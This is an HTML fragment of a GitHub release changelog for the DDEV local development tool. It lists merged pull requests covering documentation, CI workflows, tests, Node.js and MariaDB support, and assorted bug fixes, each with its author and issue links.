<li>docs(providers): align --environment examples and flags, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4428749367" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8402" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8402/hovercard" href="https://github.com/ddev/ddev/issues/8402">#8402</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4428795862" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8403" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8403/hovercard" href="https://github.com/ddev/ddev/pull/8403">#8403</a></li>
<li>test(share): improve cloudflared debug output on unmarshal errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415837658" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8398" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8398/hovercard" href="https://github.com/ddev/ddev/pull/8398">#8398</a></li>
<li>ci(github): reorganize test jobs, add custom workflow_dispatch, remove unused workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423464019" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8401" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8401/hovercard" href="https://github.com/ddev/ddev/pull/8401">#8401</a></li>
<li>feat(add-on): add <code>#ddev-interactive</code> option for actions, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3958400616" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8155" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8155/hovercard" href="https://github.com/ddev/ddev/issues/8155">#8155</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367267290" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8381" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8381/hovercard" href="https://github.com/ddev/ddev/pull/8381">#8381</a></li>
<li>refactor(tui): upgrade bubbletea/bubbles/lipgloss to v2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430728699" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8404" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8404/hovercard" href="https://github.com/ddev/ddev/pull/8404">#8404</a></li>
<li>ci: add DDEV_EMBARGO_PHP_VERSIONS to skip specific PHP versions in TestPHPConfig [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432602123" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8407" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8407/hovercard" href="https://github.com/ddev/ddev/pull/8407">#8407</a></li>
<li>feat: use docker-compose library, optionally download docker-buildx, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3686218597" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7915" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7915/hovercard" href="https://github.com/ddev/ddev/issues/7915">#7915</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218384497" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8295" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8295/hovercard" href="https://github.com/ddev/ddev/issues/8295">#8295</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091341649" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8234" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8234/hovercard" href="https://github.com/ddev/ddev/pull/8234">#8234</a></li>
<li>ci(docs): add stable docs branch workflow, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626446323" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7862" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7862/hovercard" href="https://github.com/ddev/ddev/issues/7862">#7862</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4436512981" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8408" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8408/hovercard" href="https://github.com/ddev/ddev/pull/8408">#8408</a></li>
<li>ci(forks): fetch variables from public-variables branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439217094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8410" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8410/hovercard" href="https://github.com/ddev/ddev/pull/8410">#8410</a></li>
<li>ci(wsl2): read public-variables in pwsh, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439217094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8410" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8410/hovercard" href="https://github.com/ddev/ddev/pull/8410">#8410</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439903018" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8411" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8411/hovercard" href="https://github.com/ddev/ddev/pull/8411">#8411</a></li>
<li>ci: improve test embargo system for Go, bats, and CI workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4445844483" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8413" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8413/hovercard" href="https://github.com/ddev/ddev/pull/8413">#8413</a></li>
<li>docs(config): improve wording for database and docker_buildx_version, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4382057472" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8387" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8387/hovercard" href="https://github.com/ddev/ddev/pull/8387">#8387</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4437190033" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8409" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8409/hovercard" href="https://github.com/ddev/ddev/pull/8409">#8409</a></li>
<li>refactor: improve CheckAvailableSpace reliability and output, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387455452" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8388" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8388/hovercard" href="https://github.com/ddev/ddev/issues/8388">#8388</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolcen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolcen">@wolcen</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441784873" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8412" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8412/hovercard" href="https://github.com/ddev/ddev/pull/8412">#8412</a></li>
<li>ci(buildkite): fix MSYS path conversion breaking public-variables fetch on Windows, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4439217094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8410" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8410/hovercard" href="https://github.com/ddev/ddev/pull/8410">#8410</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4469883387" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8416" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8416/hovercard" href="https://github.com/ddev/ddev/pull/8416">#8416</a></li>
<li>docs(brand-guide): add light, dark, and auto logo variants to logos table, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472217677" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8417" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8417/hovercard" href="https://github.com/ddev/ddev/issues/8417">#8417</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487849922" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8419" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8419/hovercard" href="https://github.com/ddev/ddev/pull/8419">#8419</a></li>
<li>feat(docs): migrate from mkdocs-material to zensical, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3613763641" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7840" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7840/hovercard" href="https://github.com/ddev/ddev/issues/7840">#7840</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4053894144" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8216" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8216/hovercard" href="https://github.com/ddev/ddev/issues/8216">#8216</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497071680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8421" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8421/hovercard" href="https://github.com/ddev/ddev/pull/8421">#8421</a></li>
<li>docs(add-ons): mention <code>#ddev-generated</code> in quickstart by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chx">@chx</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494536198" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8420" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8420/hovercard" href="https://github.com/ddev/ddev/pull/8420">#8420</a></li>
<li>ci(docs): enable zensical strict mode, use dynamic Pages base URL, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497071680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8421" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8421/hovercard" href="https://github.com/ddev/ddev/pull/8421">#8421</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501866656" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8423" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8423/hovercard" href="https://github.com/ddev/ddev/pull/8423">#8423</a></li>
<li>fix(ddev-dbserver): unlink stale socket before mysqld init by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502303473" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8424" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8424/hovercard" href="https://github.com/ddev/ddev/pull/8424">#8424</a></li>
<li>test: add details to TestCmdAddonPHP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504444004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8425" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8425/hovercard" href="https://github.com/ddev/ddev/pull/8425">#8425</a></li>
<li>chore(sponsors): update percentage and api link [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523958874" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8427" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8427/hovercard" href="https://github.com/ddev/ddev/pull/8427">#8427</a></li>
<li>ci(pr): migrate to ddev/commit-message-checker@v3 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525819574" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8428" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8428/hovercard" href="https://github.com/ddev/ddev/pull/8428">#8428</a></li>
<li>test(lima): fix broken cleanup in TestCmdAddonPHP, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504444004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8425" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8425/hovercard" href="https://github.com/ddev/ddev/pull/8425">#8425</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534532321" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8430" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8430/hovercard" href="https://github.com/ddev/ddev/pull/8430">#8430</a></li>
<li>fix: replace remaining world writeable directories, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4135827270" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8251" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8251/hovercard" href="https://github.com/ddev/ddev/issues/8251">#8251</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367047484" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8379" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8379/hovercard" href="https://github.com/ddev/ddev/pull/8379">#8379</a></li>
<li>chore(composer): add <code>COMPOSER_NO_BLOCKING</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4540301022" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8432" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8432/hovercard" href="https://github.com/ddev/ddev/pull/8432">#8432</a></li>
<li>fix(exec): allocate TTY only when stdout is also a terminal, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4091341649" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8234" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8234/hovercard" href="https://github.com/ddev/ddev/pull/8234">#8234</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4540181746" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8431" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8431/hovercard" href="https://github.com/ddev/ddev/pull/8431">#8431</a></li>
<li>feat(docker-rootless): remove no-bind-mounts requirement, test gvisor-tap-vsock by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512197309" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8426" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8426/hovercard" href="https://github.com/ddev/ddev/pull/8426">#8426</a></li>
<li>build: pin Node.js to 24.15.0, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4555564450" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8436" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8436/hovercard" href="https://github.com/ddev/ddev/issues/8436">#8436</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8438" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8438/hovercard" href="https://github.com/ddev/ddev/pull/8438">#8438</a></li>
<li>test(linux): wait for nc to bind before asserting in port-diagnose tests by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4577688152" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8446" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8446/hovercard" href="https://github.com/ddev/ddev/pull/8446">#8446</a></li>
<li>test: rework local HTTP test helpers with clearer failure output by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4581438165" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8447" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8447/hovercard" href="https://github.com/ddev/ddev/pull/8447">#8447</a></li>
<li>fix(nodejs): move install to Dockerfile, add ~/n/bin to PATH, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4447652737" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8414" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8414/hovercard" href="https://github.com/ddev/ddev/issues/8414">#8414</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4447694768" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8415" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8415/hovercard" href="https://github.com/ddev/ddev/issues/8415">#8415</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565282332" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8443" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8443/hovercard" href="https://github.com/ddev/ddev/pull/8443">#8443</a></li>
<li>fix(zensical): retry strict build on false-positive "page does not exist" warnings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597532685" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8451" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8451/hovercard" href="https://github.com/ddev/ddev/pull/8451">#8451</a></li>
<li>ci(linux): use full homebrew formulae name, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4589599706" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8450" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8450/hovercard" href="https://github.com/ddev/ddev/issues/8450">#8450</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4612159727" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8455" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8455/hovercard" href="https://github.com/ddev/ddev/pull/8455">#8455</a></li>
<li>test(quickstart): update asterios page check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4612039963" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8454" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8454/hovercard" href="https://github.com/ddev/ddev/pull/8454">#8454</a></li>
<li>feat: add MariaDB 12.3 LTS support, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4604820646" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8452" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8452/hovercard" href="https://github.com/ddev/ddev/issues/8452">#8452</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4607401729" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8453" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8453/hovercard" href="https://github.com/ddev/ddev/pull/8453">#8453</a></li>
<li>fix(dbserver): use wrapper scripts for MariaDB 11.x+ MySQL compat, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2760145770" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6861" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6861/hovercard" href="https://github.com/ddev/ddev/issues/6861">#6861</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614529441" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8456" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8456/hovercard" href="https://github.com/ddev/ddev/pull/8456">#8456</a></li>
<li>test(buildkite): Fix brew upgrade to use -y for new 6.0.0 release, fix setup-homebrew by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642259004" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8469" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8469/hovercard" href="https://github.com/ddev/ddev/pull/8469">#8469</a></li>
<li>build(gnupg): Remove references to obsolete gnupg2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4656275880" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8475" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8475/hovercard" href="https://github.com/ddev/ddev/pull/8475">#8475</a></li>
<li>fix: recreate service on <code>ddev utility rebuild -s</code>, support profile services by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630837333" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8463" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8463/hovercard" href="https://github.com/ddev/ddev/pull/8463">#8463</a></li>
<li>fix(nodejs): preserve nodejs_version in config.yaml, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4002111935" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8186" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8186/hovercard" href="https://github.com/ddev/ddev/issues/8186">#8186</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624943154" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8462" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8462/hovercard" href="https://github.com/ddev/ddev/pull/8462">#8462</a></li>
<li>fix(nodejs): move N_PREFIX to /usr/local/n and make it writable, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632809900" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8465" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8465/hovercard" href="https://github.com/ddev/ddev/issues/8465">#8465</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4635081802" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8467" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8467/hovercard" href="https://github.com/ddev/ddev/pull/8467">#8467</a></li>
